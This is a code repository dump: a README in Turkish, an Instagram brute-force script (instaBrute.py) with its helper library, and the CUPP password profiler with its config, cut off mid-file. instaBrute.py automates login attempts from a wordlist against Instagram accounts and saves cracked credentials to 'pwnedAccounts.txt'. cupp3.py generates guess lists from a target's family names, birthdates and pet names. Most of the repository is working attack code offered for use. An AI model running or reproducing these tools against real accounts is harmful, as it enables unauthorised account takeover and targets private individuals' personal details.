├── test_cupp.py ├── README.md ├── mainLib.py ├── cupp.cfg ├── instaBrute.py ├── cupp3.py └── cupp.py /test_cupp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import unittest 4 | from cupp3 import * 5 | 6 | class TestCupp3(unittest.TestCase): 7 | def setUp(self): 8 | read_config() 9 | 10 | def test_ftp_download(self): 11 | pass 12 | 13 | def test_parser(self): 14 | pass 15 | 16 | if __name__ == '__main__': 17 | unittest.main() 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Kullanım Komutları 2 | = 3 | 4 | ```python 5 | python instaBrute.py -f usernames.txt -d dictionary.txt 6 | ``` 7 | ```python 8 | python instaBrute.py -u facebook -d dictionary.txt 9 | ``` 10 | 11 | Kullanım Videosu 12 | = 13 | https://www.youtube.com/watch?v=O3IegM-MEes 14 | 15 | İrtibat Noktaları 16 | = 17 | - Website : http://turksiberguvenlik.net 18 | - Youtube : https://youtube.com/user/pcdunyasi 19 | - Facebook : https://facebook.com/bitekkan 20 | 21 | -------------------------------------------------------------------------------- /mainLib.py: -------------------------------------------------------------------------------- 1 | import mechanize 2 | import cookielib 3 | 4 | 5 | # Browser Globals 6 | br = mechanize.Browser() 7 | cj = cookielib.LWPCookieJar() 8 | cookieArray = [] 9 | globalLogging = False 10 | br.set_cookiejar(cj) 11 | br.set_handle_robots(False) 12 | #br.set_handle_refresh(mechanize.HTTPRefreshProcessor(), max_time=1) 13 | br.set_handle_refresh(False) 14 | br.set_handle_redirect(True) 15 | br.set_handle_redirect(mechanize.HTTPRedirectHandler) 16 | br.addheaders = [('User-agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36')] 17 | 18 | -------------------------------------------------------------------------------- /cupp.cfg: -------------------------------------------------------------------------------- 1 | # [ cupp.cfg ] 2 | # 3 | # This is configuration file for cupp.py 4 | # 5 | 6 | # There are no options to configure the application within it. The app reads it, 7 | # does not change it. I'm hoping you'll figure out how to looking at this. 8 | 9 | # [ 1337 mode ] 10 | # If you think this default settings are not right, 11 | # you can change it for yourself. For example if you 12 | # don't like a=4, just change it to a=@ :) 13 | # If you don't need some chars, just comment it! Duplicates are allowed too. 14 | # For adding chars, you might need to add some lines in cupp.py... 15 | [years] 16 | years = 2008,2009,2010,2011,2012,2013,2014,2015,2016 17 | 18 | [leet] 19 | a=4 20 | i=1 21 | e=3 22 | t=7 23 | o=0 24 | s=5 25 | g=9 26 | z=2 27 | 28 | 29 | # [ Special chars ] for adding some pwnsauce! Remove or add as necessary, 30 | # separated by comma 31 | 32 | [specialchars] 33 | chars=!,@,'#',$,%%,&,* 34 | 35 | 36 | # [ Random years ] take it as much as you need! 37 | 38 | 39 | 40 | 41 | # [ Random numbers ] 42 | # In this default setting, numbers from 0 to 100 will be added to all words 43 | # compiled by cupp.py 44 | 45 | [nums] 46 | from=0 47 | to=100 48 | 49 | # [ Word length shaping ] 50 | # This setting will exclude words from compiled wordlist that are shorter 51 | # than [wcfrom] and longer than [wcto]. 52 | 53 | wcfrom=5 54 | wcto=12 55 | 56 | # [ Threshold ] 57 | # Threshold setting for word concatenations parsed from existing wordlist 58 | # (using -w option). 59 | # For example, from 200 words CUPP will compile 200*200=40,000 new words. 60 | # Increasing this level may cause high memory consumption, be careful. 61 | 62 | threshold=200 63 | 64 | 65 | # [ Wordlist config ] 66 | [alecto] 67 | alectourl=http://www.helith.net/projects/alecto/alectodb.csv.gz 68 | 69 | [downloader] 70 | ftpname=FUNET 71 | ftpurl=ftp.funet.fi 72 | ftppath=/pub/unix/security/passwd/crack/dictionaries/ 73 | ftpuser=anonymous 74 | ftppass=cupp3 75 | -------------------------------------------------------------------------------- /instaBrute.py: -------------------------------------------------------------------------------- 1 | #!/bin/python 2 | from mainLib import * 3 | from time import sleep 4 | from selenium import webdriver 5 | from selenium.webdriver.common.keys import Keys 6 | import simplejson as json 7 | import sys 8 | import optparse 9 | 10 | profile = webdriver.FirefoxProfile() 11 | profile.set_preference("general.useragent.override", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36") 12 | driver = "reserved" 13 | 14 | def userExists(username): 15 | try: 16 | driver.get("https://instagram.com/"+username) 17 | assert (("Page Not Found" or "no encontrada") not in driver.title) 18 | except AssertionError: 19 | print 'user: "%s" does not exist, trying with the next!' %username 20 | return 1 21 | except: 22 | 'uknown error' 23 | 24 | def login(user, password, delay): 25 | try: 26 | print 'Trying with password: ' + password 27 | elem = driver.find_element_by_name("username") 28 | elem.clear() 29 | elem.send_keys(user) 30 | elem = driver.find_element_by_name("password") 31 | elem.clear() 32 | elem.send_keys(password) 33 | elem.send_keys(Keys.RETURN) 34 | sleep(delay) 35 | assert (("Login") in driver.title) 36 | #assert (("Your username or password was incorrect" or "son incorrectos.") not in driver.page_source) 37 | #if driver.current_url == 'https://www.instagram.com/': 38 | # print 'Password correct!' 39 | # print '%s' %password 40 | #else: 41 | # print 'Wrong password' 42 | except AssertionError: 43 | print 'Access granted mother kaker!!' 44 | print 'The password is: ' + password 45 | try: 46 | f = open('pwnedAccounts.txt','a') 47 | except: 48 | f = open('pwnedAccounts.txt','w') 49 | f.write('username:'+user+'\npassword:'+password+'\n') 50 | f.close() 51 | driver.delete_all_cookies() 52 | return 1 53 | except: 54 | print "\r Check your connection to the internet mother kaker\r" 55 | 56 | def dictionaryAttack(usernames,passwords,delay): 57 | if str(type(usernames)) == "": 58 | for username in usernames: 59 | if (userExists(username) == 1): 60 | continue 61 | driver.get("https://instagram.com/accounts/login/") 62 | sleep(delay * 7) 63 | print 'Trying with username: ' + username 64 | for password in passwords: 65 | if (login(username,password,delay) == 1): 66 | cj.clear() 67 | break 68 | else: 69 | if (userExists(usernames) == 1): 70 | return 71 | driver.get("https://instagram.com/accounts/login/") 72 | sleep(delay * 7) 73 | print 'Trying with username: ' + usernames 74 | for password in passwords: 75 | if (login(usernames,password,delay) == 1): 76 | break 77 | def main(): 78 | parser = optparse.OptionParser() 79 | parser.add_option('-f', '--file', action="store", dest="userfile", help="File containing valid usernames (one per line)", default=False) 80 | parser.add_option('-d', '--dictionary', action="store", dest="dictionary", help="File containing passwords", default=False) 81 | parser.add_option('-u', '--username', action="store", dest="username", help="A valid username", default=False) 82 | parser.add_option('-t', '--time', action="store", dest="delay", help="delay in seconds. Use this option based on your connection speed", default=True) 83 | options, args = parser.parse_args() 84 | 85 | global driver 86 | 87 | if (options.delay is None): 88 | delay = 2 89 | else: 90 | delay = int(options.delay) 91 | print 'Using %d seconds of delay' %delay 92 | 93 | if ( (options.userfile == False) and (options.username == False) ) : 94 | print 'You have to set an username or a userfile' 95 | exit() 96 | if ( (options.userfile != False) and (options.username != False) ) : 97 | print 'You can\'t set both options at once.. choose between username or userfile' 98 | exit() 99 | if (options.dictionary == False): 100 | print 'You have to set a valid path for the passwords dictionary' 101 | exit() 102 | 103 | try: 104 | f = open(options.dictionary,'r') 105 | passwords = [] 106 | 107 | while True: 108 | line = f.readline() 109 | if not line: 110 | break 111 | passwords.append(line.strip('\n')) 112 | f.close() 113 | except: 114 | print 'Check the path to the dictionary and try again' 115 | exit() 116 | 117 | if (options.userfile != False): 118 | try: 119 | f = open(options.userfile,'r') 120 | usernames = [] 121 | 122 | while True: 123 | line = f.readline() 124 | if not line: 125 | break 126 | usernames.append(line.strip('\n')) 127 | f.close() 128 | except: 129 | print 'Check the path to the users file and try again' 130 | exit() 131 | 132 | driver = webdriver.Firefox(profile) 133 | driver.implicitly_wait(30) 134 | dictionaryAttack(usernames,passwords,delay) 135 | else: 136 | driver = webdriver.Firefox(profile) 137 | driver.implicitly_wait(30) 138 | dictionaryAttack(options.username,passwords,delay) 139 | 140 | driver.close() 141 | if __name__ == '__main__': 142 | main() 143 | -------------------------------------------------------------------------------- /cupp3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Muris Kurgas aka j0rgan 4 | # j0rgan [at] remote-exploit [dot] org 5 | # http://www.remote-exploit.org 6 | # http://www.azuzi.me 7 | # 8 | # See 'docs/LICENSE' and 'docs/README' for more information. 9 | """Common User Passwords Profiler""" 10 | __author__ = 'Muris Kurgas' 11 | __license__ = 'GPL' 12 | __version__ = '3.1.0-alpha' 13 | 14 | import argparse 15 | import configparser 16 | import csv 17 | import ftplib 18 | import functools 19 | import gzip 20 | import os 21 | import sys 22 | from urllib.request import urlopen 23 | 24 | try: 25 | import readline 26 | except ImportError: 27 | pass 28 | 29 | COW_BANNER = """ ___________ 30 | \033[07m cupp.py! \033[27m # Common 31 | \\ # User 32 | \\ \033[1;31m,__,\033[1;m # Passwords 33 | \\ \033[1;31m(\033[1;moo\033[1;31m)____\033[1;m # Profiler 34 | \033[1;31m(__) )\\ \033[1;m 35 | \033[1;31m ||--|| \033[1;m\033[05m*\033[25m\033[1;m Muris Kurgas 36 | 37 | 38 | """ 39 | CONFIG = {} 40 | FTP_CONFIG = {} 41 | LEET_CONFIG = {} 42 | 43 | def main(): 44 | """Command-line interface to the cupp utility""" 45 | 46 | args = get_parser().parse_args() 47 | 48 | read_config() 49 | if not args.quiet: 50 | print(COW_BANNER) 51 | 52 | if args.version: 53 | version() 54 | elif args.interactive: 55 | interactive() 56 | elif args.download_wordlist: 57 | download_wordlist() 58 | elif args.alecto: 59 | alectodb_download() 60 | elif args.improve: 61 | improve_dictionary(args.improve) 62 | 63 | 64 | # Separate into a function for testing purposes 65 | def get_parser(): 66 | """Create and return a parser (argparse.ArgumentParser instance) for main() 67 | to use""" 68 | parser = argparse.ArgumentParser(description='Common User Passwords Profiler') 69 | group = parser.add_mutually_exclusive_group(required=True) 70 | group.add_argument('-i', '--interactive', action='store_true', 71 | help='Interactive questions for user password profiling') 72 | group.add_argument('-w', dest='improve', metavar='FILENAME', 73 | help='Use this option to improve existing dictionary,' 74 | ' or WyD.pl output to make some pwnsauce') 75 | group.add_argument('-l', dest='download_wordlist', action='store_true', 76 | help='Download huge wordlists from repository') 77 | group.add_argument('-a', dest='alecto', action='store_true', 78 | help='Parse default usernames and passwords directly' 79 | ' from Alecto DB. Project Alecto uses purified' 80 | ' databases of Phenoelit and CIRT which were merged' 81 | ' and enhanced') 82 | group.add_argument('-v', '--version', action='store_true', 83 | help='version of this program') 84 | parser.add_argument('-q', '--quiet', action='store_true', 85 | help="Quiet mode (don't print banner)") 86 | 87 | return parser 88 | 89 | 90 | def version(): 91 | """Display version and exit.""" 92 | print("\n \033[1;31m[ cupp.py ] v3.1.0-alpha\033[1;m\n") 93 | print(" * Hacked up by j0rgan - j0rgan@remote-exploit.org") 94 | print(" * http://www.remote-exploit.org\n") 95 | print(" Take a look ./README.md file for more info about the program\n") 96 | sys.exit() 97 | 98 | 99 | def read_config(filename='cupp.cfg'): 100 | """Read the given configuration file and update global variables to reflect 101 | changes (CONFIG, FTP_CONFIG, LEET_CONFIG).""" 102 | #global CONFIG, FTP_CONFIG, LEET_CONFIG 103 | 104 | # Reading configuration file 105 | config = configparser.ConfigParser() 106 | config.read(filename) 107 | 108 | CONFIG.update({ 109 | 'years': config.get('years', 'years').split(','), 110 | 'chars': config.get('specialchars', 'chars').split(','), 111 | 112 | 'numfrom': config.getint('nums', 'from'), 113 | 'numto': config.getint('nums', 'to'), 114 | 115 | 'wcfrom': config.getint('nums', 'wcfrom'), 116 | 'wcto': config.getint('nums', 'wcto'), 117 | 118 | 'threshold': config.getint('nums', 'threshold'), 119 | 'alectourl': config.get('alecto', 'alectourl') 120 | }) 121 | 122 | # 1337 mode configs, well you can add more lines if you add it to the 123 | # config file too. 124 | leet = functools.partial(config.get, 'leet') 125 | LEET_CONFIG.update(dict(a=leet('a'), e=leet('e'), g=leet('g'), i=leet('i'), 126 | o=leet('o'), s=leet('s'), t=leet('t'), z=leet('z'))) 127 | 128 | ftp_config = functools.partial(config.get, 'downloader') 129 | FTP_CONFIG.update(dict(name=ftp_config('ftpname'), 130 | url=ftp_config('ftpurl'), 131 | path=ftp_config('ftppath'), 132 | user=ftp_config('ftpuser'), 133 | password=ftp_config('ftppass'))) 134 | 135 | 136 | def interactive(): 137 | """Implementation of the -i switch. Interactively question the user and 138 | create a password dictionary file based on the answer.""" 139 | print() 140 | print("[+] Insert the information about the victim to make a dictionary") 141 | print("[+] If you don't know all the info, just hit enter when asked! ;)\n") 142 | 143 | # We need some information first! 144 | 145 | name = input("First Name: ").lower().strip() 146 | while not name: 147 | print("\n[-] You must enter a name at least!", file=sys.stderr) 148 | name = input("Name: ").lower().strip() 149 | 150 | surname = input("Surname: ").lower() 151 | nick = input("Nickname: ").lower() 152 | birthdate = input("Birthdate (DDMMYYYY): ").strip() 153 | while len(birthdate) not in (0, 8): 154 | print("\n[-] You must enter 8 digits for birthday!", file=sys.stderr) 155 | birthdate = input("Birthdate (DDMMYYYY): ").strip() 156 | 157 | print("\n") 158 | 159 | wife = input("Partner's name: ").lower() 160 | wifen = input("Partner's nickname: ").lower() 161 | wifeb = input("Partner's birthdate (DDMMYYYY): ").strip() 162 | while len(wifeb) not in (0, 8): 163 | print("\n[-] You must enter 8 digits for birthday!", file=sys.stderr) 164 | wifeb = input("Partner's birthdate (DDMMYYYY): ").strip() 165 | 166 | print("\n") 167 | 168 | kid = input("Child's name: ").lower() 169 | kidn = input("Child's nickname: ").lower() 170 | kidb = input("Child's birthdate (DDMMYYYY): ").strip() 171 | while len(kidb) not in (0, 8): 172 | print("\n[-] You must enter 8 digits for birthday!", file=sys.stderr) 173 | kidb = input("Child's birthdate (DDMMYYYY): ").strip() 174 | 175 | print("\n") 176 | 177 | pet = input("Pet's name: ").lower().strip() 178 | company = input("Company name: ").lower().strip() 179 | print("\n") 180 | 181 | prompt = "Do you want to add some key words about the victim? Y/[N]: " 182 | words1 = input(prompt).lower().strip() 183 | words2 = '' 184 | if words1 == 'y': 185 | prompt = ("Please enter the words, comma-separated." 186 | " [i.e. hacker,juice,black], spaces will be removed: ") 187 | words2 = input(prompt).replace(' ', '') 188 | words = words2.split(',') 189 | 190 | spechars = [] 191 | prompt = "Do you want to add special characters at the end of words? Y/[N]: " 192 | spechars1 = input(prompt).lower() 193 | if spechars1 == "y": 194 | for spec1 in CONFIG['chars']: 195 | spechars.append(spec1) 196 | for spec2 in CONFIG['chars']: 197 | spechars.append(spec1+spec2) 198 | for spec3 in CONFIG['chars']: 199 | spechars.append(spec1+spec2+spec3) 200 | 201 | randnum = input("Do you want to add some random numbers at the end of words? Y/[N]: ").lower() 202 | leetmode = input("Leet mode? (i.e. leet = 1337) Y/[N]: ").lower().strip() 203 | 204 | 205 | print("\n[+] Now making a dictionary...") 206 | 207 | # Now me must do some string modifications 208 | 209 | # Birthdays first 210 | 211 | birthdate_yy, birthdate_yyy = birthdate[-2:], birthdate[-3:] 212 | birthdate_yyyy = birthdate[-4:] 213 | birthdate_xd, birthdate_xm = birthdate[1:2], birthdate[3:4] 214 | birthdate_dd, birthdate_mm = birthdate[:2], birthdate[2:4] 215 | 216 | wifeb_yy = wifeb[-2:] 217 | wifeb_yyy = wifeb[-3:] 218 | wifeb_yyyy = wifeb[-4:] 219 | wifeb_xd = wifeb[1:2] 220 | wifeb_xm = wifeb[3:4] 221 | wifeb_dd = wifeb[:2] 222 | wifeb_mm = wifeb[2:4] 223 | 224 | kidb_yy = kidb[-2:] 225 | kidb_yyy = kidb[-3:] 226 | kidb_yyyy = kidb[-4:] 227 | kidb_xd = kidb[1:2] 228 | kidb_xm = kidb[3:4] 229 | kidb_dd = kidb[:2] 230 | kidb_mm = kidb[2:4] 231 | 232 | 233 | # Convert first letters to uppercase... 234 | nameup = name.title() 235 | surnameup = surname.title() 236 | nickup = nick.title() 237 | wifeup = wife.title() 238 | wifenup = wifen.title() 239 | kidup = kid.title() 240 | kidnup = kidn.title() 241 | petup = pet.title() 242 | companyup = company.title() 243 | wordsup = [words1.title() for words1 in words] 244 | word = words+wordsup 245 | 246 | # reverse a name 247 | 248 | rev_name = name[::-1] 249 | rev_nameup = nameup[::-1] 250 | rev_nick = nick[::-1] 251 | rev_nickup = nickup[::-1] 252 | rev_wife = wife[::-1] 253 | rev_wifeup = wifeup[::-1] 254 | rev_kid = kid[::-1] 255 | rev_kidup = kidup[::-1] 256 | 257 | reverse = [rev_name, rev_nameup, rev_nick, rev_nickup, rev_wife, 258 | rev_wifeup, rev_kid, rev_kidup] 259 | rev_n = [rev_name, rev_nameup, rev_nick, rev_nickup] 260 | rev_w = [rev_wife, rev_wifeup] 261 | rev_k = [rev_kid, rev_kidup] 262 | # Let's do some serious work! This will be a mess of code, but who cares? :) 263 | 264 | # Birthdays combinations 265 | bds = [birthdate_yy, birthdate_yyy, birthdate_yyyy, birthdate_xd, 266 | birthdate_xm, birthdate_dd, birthdate_mm] 267 | bdss = [] 268 | 269 | for bds1 in bds: 270 | bdss.append(bds1) 271 | for bds2 in bds: 272 | if bds.index(bds1) != bds.index(bds2): 273 | bdss.append(bds1 + bds2) 274 | for bds3 in bds: 275 | condition = (bds.index(bds1) != bds.index(bds2) and 276 | bds.index(bds2) != bds.index(bds3) and 277 | bds.index(bds1) != bds.index(bds3)) 278 | if condition: 279 | bdss.append(bds1+bds2+bds3) 280 | 281 | 282 | # For a woman... 283 | wbds = [wifeb_yy, wifeb_yyy, wifeb_yyyy, wifeb_xd, wifeb_xm, wifeb_dd, wifeb_mm] 284 | wbdss = [] 285 | 286 | for wbds1 in wbds: 287 | wbdss.append(wbds1) 288 | for wbds2 in wbds: 289 | if wbds.index(wbds1) != wbds.index(wbds2): 290 | wbdss.append(wbds1+wbds2) 291 | for wbds3 in wbds: 292 | condition = (wbds.index(wbds1) != wbds.index(wbds2) and 293 | wbds.index(wbds2) != wbds.index(wbds3) and 294 | wbds.index(wbds1) != wbds.index(wbds3)) 295 | if condition: 296 | wbdss.append(wbds1+wbds2+wbds3) 297 | 298 | 299 | # and a child... 300 | kbds = [kidb_yy, kidb_yyy, kidb_yyyy, kidb_xd, kidb_xm, kidb_dd, kidb_mm] 301 | kbdss = [] 302 | 303 | for kbds1 in kbds: 304 | kbdss.append(kbds1) 305 | for kbds2 in kbds: 306 | if kbds.index(kbds1) != kbds.index(kbds2): 307 | kbdss.append(kbds1+kbds2) 308 | for kbds3 in kbds: 309 | condition = (kbds.index(kbds1) != kbds.index(kbds2) and 310 | kbds.index(kbds2) != kbds.index(kbds3) and 311 | kbds.index(kbds1) != kbds.index(kbds3)) 312 | if condition: 313 | kbdss.append(kbds1+kbds2+kbds3) 314 | 315 | # string combinations 316 | kombinaac = [pet, petup, company, companyup] 317 | kombina = [name, surname, nick, nameup, surnameup, nickup] 318 | kombinaw = [wife, wifen, wifeup, wifenup, surname, surnameup] 319 | kombinak = [kid, kidn, kidup, kidnup, surname, surnameup] 320 | 321 | kombinaa = [] 322 | for kombina1 in kombina: 323 | kombinaa.append(kombina1) 324 | for kombina2 in kombina: 325 | condition = (kombina.index(kombina1) != kombina.index(kombina2) and 326 | kombina.index(kombina1.title()) != kombina.index(kombina2.title())) 327 | if condition: 328 | kombinaa.append(kombina1+kombina2) 329 | 330 | kombinaaw = [] 331 | for kombina1 in kombinaw: 332 | kombinaaw.append(kombina1) 333 | for kombina2 in kombinaw: 334 | condition = (kombinaw.index(kombina1) != kombinaw.index(kombina2) and 335 | kombinaw.index(kombina1.title()) != kombinaw.index(kombina2.title())) 336 | if condition: 337 | kombinaaw.append(kombina1+kombina2) 338 | 339 | kombinaak = [] 340 | for kombina1 in kombinak: 341 | kombinaak.append(kombina1) 342 | for kombina2 in kombinak: 343 | condition = (kombinak.index(kombina1) != kombinak.index(kombina2) and 344 | kombinak.index(kombina1.title()) != kombinak.index(kombina2.title())) 345 | if condition: 346 | kombinaak.append(kombina1+kombina2) 347 | 348 | 349 | komb1 = list(komb(kombinaa, bdss)) 350 | komb2 = list(komb(kombinaaw, wbdss)) 351 | komb3 = list(komb(kombinaak, kbdss)) 352 | komb4 = list(komb(kombinaa, CONFIG['years'])) 353 | komb5 = list(komb(kombinaac, CONFIG['years'])) 354 | komb6 = list(komb(kombinaaw, CONFIG['years'])) 355 | komb7 = list(komb(kombinaak, CONFIG['years'])) 356 | komb8 = list(komb(word, bdss)) 357 | komb9 = list(komb(word, wbdss)) 358 | komb10 = list(komb(word, kbdss)) 359 | komb11 = list(komb(word, CONFIG['years'])) 360 | komb12 = komb13 = komb14 = komb15 = komb16 = komb21 = [] 361 | if randnum == "y": 362 | komb12 = list(concats(word, CONFIG['numfrom'], CONFIG['numto'])) 363 | komb13 = list(concats(kombinaa, CONFIG['numfrom'], CONFIG['numto'])) 364 | komb14 = list(concats(kombinaac, CONFIG['numfrom'], CONFIG['numto'])) 365 | komb15 = list(concats(kombinaaw, CONFIG['numfrom'], CONFIG['numto'])) 366 | komb16 = list(concats(kombinaak, CONFIG['numfrom'], CONFIG['numto'])) 367 | komb21 = list(concats(reverse, CONFIG['numfrom'], CONFIG['numto'])) 368 | komb17 = list(komb(reverse, CONFIG['years'])) 369 | komb18 = list(komb(rev_w, wbdss)) 370 | komb19 = list(komb(rev_k, kbdss)) 371 | komb20 = list(komb(rev_n, bdss)) 372 | komb001 = komb002 = komb003 = komb004 = komb005 = komb006 = [] 373 | if spechars1 == "y": 374 | komb001 = list(komb(kombinaa, spechars)) 375 | komb002 = list(komb(kombinaac, spechars)) 376 | komb003 = list(komb(kombinaaw, spechars)) 377 | komb004 = list(komb(kombinaak, spechars)) 378 | komb005 = list(komb(word, spechars)) 379 | komb006 = list(komb(reverse, spechars)) 380 | 381 | print("[+] Sorting list and removing duplicates...") 382 | 383 | sets = [set(komb1), set(komb2), set(komb3), set(komb4), set(komb5), 384 | set(komb6), set(komb7), set(komb8), set(komb9), set(komb10), 385 | set(komb11), set(komb12), set(komb13), set(komb14), set(komb15), 386 | set(komb16), set(komb17), set(komb18), set(komb19), set(komb20), 387 | set(komb21), set(kombinaa), set(kombinaac), set(kombinaaw), 388 | set(kombinaak), set(word), set(komb001), set(komb002), set(komb003), 389 | set(komb004), set(komb005), set(komb006)] 390 | 391 | uniqset = set() 392 | for s in sets: 393 | uniqset.update(s) 394 | 395 | uniqlist = bdss + wbdss + kbdss + reverse + list(uniqset) 396 | 397 | unique_lista = sorted(set(uniqlist)) 398 | unique_leet = [] 399 | if leetmode == "y": 400 | for x in unique_lista: 401 | unique_leet.append(leet_replace(x)) 402 | 403 | unique_list = unique_lista + unique_leet 404 | 405 | unique_list_finished = [x for x in unique_list if CONFIG['wcfrom'] < len(x) < CONFIG['wcto']] 406 | unique_list_finished.sort() 407 | 408 | with open(name + '.txt', 'w') as f: 409 | f.write(os.linesep.join(unique_list_finished)) 410 | with open(name + '.txt') as f: 411 | lines = len(list(f)) # shorter, but possibly more memory expensive 412 | 413 | message = ("[+] Saving dictionary to \033[1;31m%s.txt\033[1;m, counting" 414 | " \033[1;31m%i\033[1;m words.") 415 | print(message % (name, lines)) 416 | message = ("[+] Now load your pistolero with \033[1;31m%s.txt\033[1;m and" 417 | " shoot! Good luck!") 418 | print(message % name) 419 | sys.exit() 420 | 421 | 422 | def download_ftp_files(ftp_dir, *filenames): 423 | """Helper function for download_wordlist(). Download the given files from 424 | the ftp directory.""" 425 | 426 | print("\n[+] connecting...\n") 427 | ftp = ftplib.FTP(FTP_CONFIG['url'], FTP_CONFIG['user'], FTP_CONFIG['password']) 428 | #ftp.login(FTP_CONFIG['user'], FTP_CONFIG['password']) 429 | ftp.cwd(FTP_CONFIG['path']) 430 | ftp.cwd(ftp_dir) 431 | dir_prefix = 'dictionaries/%s/' % ftp_dir 432 | 433 | if not os.path.isdir(dir_prefix): 434 | os.mkdir(dir_prefix) 435 | 436 | def handle_download(target, block): 437 | "Callback for retrbinary. Prints a progress bar as well." 438 | target.write(block) 439 | print('.', end=' ') 440 | 441 | for filename in filenames: 442 | with open(dir_prefix + filename, 'wb') as outfile: 443 | print("\n[+] downloading %s..." % filename) 444 | callback = functools.partial(handle_download, outfile) 445 | ftp.retrbinary('RETR %s' % filename, callback) 446 | print(' done.') 447 | 448 | print('[+] file(s) saved to %s' % dir_prefix) 449 | ftp.quit() 450 | 451 | 452 | def download_wordlist(): 453 | """Implementation of -l switch. Download wordlists from ftp repository as 454 | defined in the configuration file.""" 455 | 456 | if not os.path.isdir('dictionaries'): 457 | os.mkdir('dictionaries') 458 | 459 | menu = """ 460 | 1 Moby 14 french 27 places 461 | 2 afrikaans 15 german 28 polish 462 | 3 american 16 hindi 39 random 463 | 4 aussie 17 hungarian 30 religion 464 | 5 chinese 18 italian 31 russian 465 | 6 computer 19 japanese 32 science 466 | 7 croatian 20 latin 33 spanish 467 | 8 czech 21 literature 34 swahili 468 | 9 danish 22 movieTV 35 swedish 469 | 10 databases 23 music 36 turkish 470 | 11 dictionaries 24 names 37 yiddish 471 | 12 dutch 25 net 38 exit program 472 | 13 finnish 26 norwegian 473 | 474 | """ 475 | print("\n Choose the section you want to download:\n") 476 | print(menu) 477 | print("\n Files will be downloaded from %s repository" % FTP_CONFIG['name']) 478 | print("\n Tip: After downloading wordlist, you can improve it with -w option\n") 479 | 480 | option = input("Enter number: ") 481 | while not option.isdigit() or int(option) > 38: 482 | print("\n[-] Invalid choice.", file=sys.stderr) 483 | option = input("Enter number: ") 484 | 485 | option = int(option) 486 | 487 | if option == 38: 488 | print('[-] Leaving.', file=sys.stderr) 489 | sys.exit() 490 | 491 | # integer indexed dict to maintain consistency with the menu shown to the 492 | # user. plus, easy to inadvertently unorder things up with lists 493 | arguments = { # the first items of the tuples are the ftp directories. 494 | # Do Not Change. 495 | 1: ('Moby', 'mhyph.tar.gz', 'mlang.tar.gz', 'moby.tar.gz', 496 | 'mpos.tar.gz', 'mpron.tar.gz', 'mthes.tar.gz', 'mwords.tar.gz'), 497 | 2: ('afrikaans', 'afr_dbf.zip'), 498 | 3: ('american', 'dic-0294.tar.gz'), 499 | 4: ('aussie', 'oz.gz'), 500 | 5: ('chinese', 'chinese.gz'), 501 | 6: ('computer', 'Domains.gz', 'Dosref.gz', 'Ftpsites.gz', 'Jargon.gz', 502 | 'common-passwords.txt.gz', 'etc-hosts.gz', 'foldoc.gz', 503 | 'language-list.gz', 'unix.gz'), 504 | 7: ('croatian', 'croatian.gz'), 505 | 8: ('czech', 'czech-wordlist-ascii-cstug-novak.gz'), 506 | 9: ('danish', 'danish.words.gz', 'dansk.zip'), 507 | 10: ('databases', 'acronyms.gz', 'att800.gz', 508 | 'computer-companies.gz', 'world_heritage.gz'), 509 | 11: ('dictionaries', 'Antworth.gz', 'CRL.words.gz', 'Roget.words.gz', 510 | 'Unabr.dict.gz', 'Unix.dict.gz', 'englex-dict.gz', 511 | 'knuth_britsh.gz', 'knuth_words.gz', 'pocket-dic.gz', 512 | 'shakesp-glossary.gz', 'special.eng.gz', 'words-english.gz'), 513 | 12: ('dutch', 'words.dutch.gz'), 514 | 13: ('finnish', 'finnish.gz', 'firstnames.finnish.gz', 'words.finnish.FAQ.gz'), 515 | 14: ('french', 'dico.gz'), 516 | 15: ('german', 'deutsch.dic.gz', 'germanl.gz', 'words.german.gz'), 517 | 16: ('hindi', 'hindu-names.gz'), 518 | 17: ('hungarian', 'hungarian.gz'), 519 | 18: ('italian', 'words.italian.gz'), 520 | 19: ('japanese', 'words.japanese.gz'), 521 | 20: ('latin', 'wordlist.aug.gz'), 522 | 21: ('literature', 'LCarrol.gz', 'Paradise.Lost.gz', 'aeneid.gz', 523 | 'arthur.gz', 'cartoon.gz', 'cartoons-olivier.gz', 'charlemagne.gz', 524 | 'fable.gz', 'iliad.gz', 'myths-legends.gz', 'odyssey.gz', 'sf.gz', 525 | 'shakespeare.gz', 'tolkien.words.gz'), 526 | 22: ('movieTV', 'Movies.gz', 'Python.gz', 'Trek.gz'), 527 | 23: ('music', 'music-classical.gz', 'music-country.gz', 'music-jazz.gz', 528 | 'music-other.gz', 'music-rock.gz', 'music-shows.gz', 529 | 'rock-groups.gz'), 530 | 24: ('names', 'ASSurnames.gz' 'Congress.gz', 'Family-Names.gz', 531 | 'Given-Names.gz', 'actor-givenname.gz', 'actor-surname.gz', 532 | 'cis-givenname.gz', 'cis-surname.gz', 'crl-names.gz', 'famous.gz', 533 | 'fast-names.gz', 'female-names-kantr.gz', 'female-names.gz', 534 | 'givennames-ol.gz', 'male-names.gz', 'movie-characters.gz', 535 | 'names.french.gz', 'names.hp.gz', 'other-names.gz', 536 | 'shakesp-names.gz', 'surnames-ol.gz', 'surnames.finnish.gz', 537 | 'usenet-names.gz'), 538 | 25: ('net', 'hosts-txt.gz', 'inet-machines.gz', 'usenet-loginids.gz', 539 | 'usenet-machines.gz', 'uunet-sites.gz'), 540 | 26: ('norwegian', 'words.norwegian.gz'), 541 | 27: ('places', 'Colleges.gz', 'US-counties.gz', 'World.factbook.gz', 542 | 'Zipcodes.gz', 'places.gz'), 543 | 28: ('polish', 'words.polish.gz'), 544 | 29: ('random', 'Ethnologue.gz', 'abbr.gz', 'chars.gz', 'dogs.gz', 545 | 'drugs.gz', 'junk.gz', 'numbers.gz', 'phrases.gz', 'sports.gz', 546 | 'statistics.gz'), 547 | 30: ('religion', 'Koran.gz', 'kjbible.gz', 'norse.gz'), 548 | 31: ('russian', 'russian.lst.gz', 'russian_words.koi8.gz'), 549 | 32: ('science', 'Acr-diagnosis.gz', 'Algae.gz', 'Bacteria.gz', 550 | 'Fungi.gz', 'Microalgae.gz', 'Viruses.gz', 'asteroids.gz', 551 | 'biology.gz', 'tech.gz'), 552 | 33: ('spanish', 'words.spanish.gz'), 553 | 34: ('swahili', 'swahili.gz'), 554 | 35: 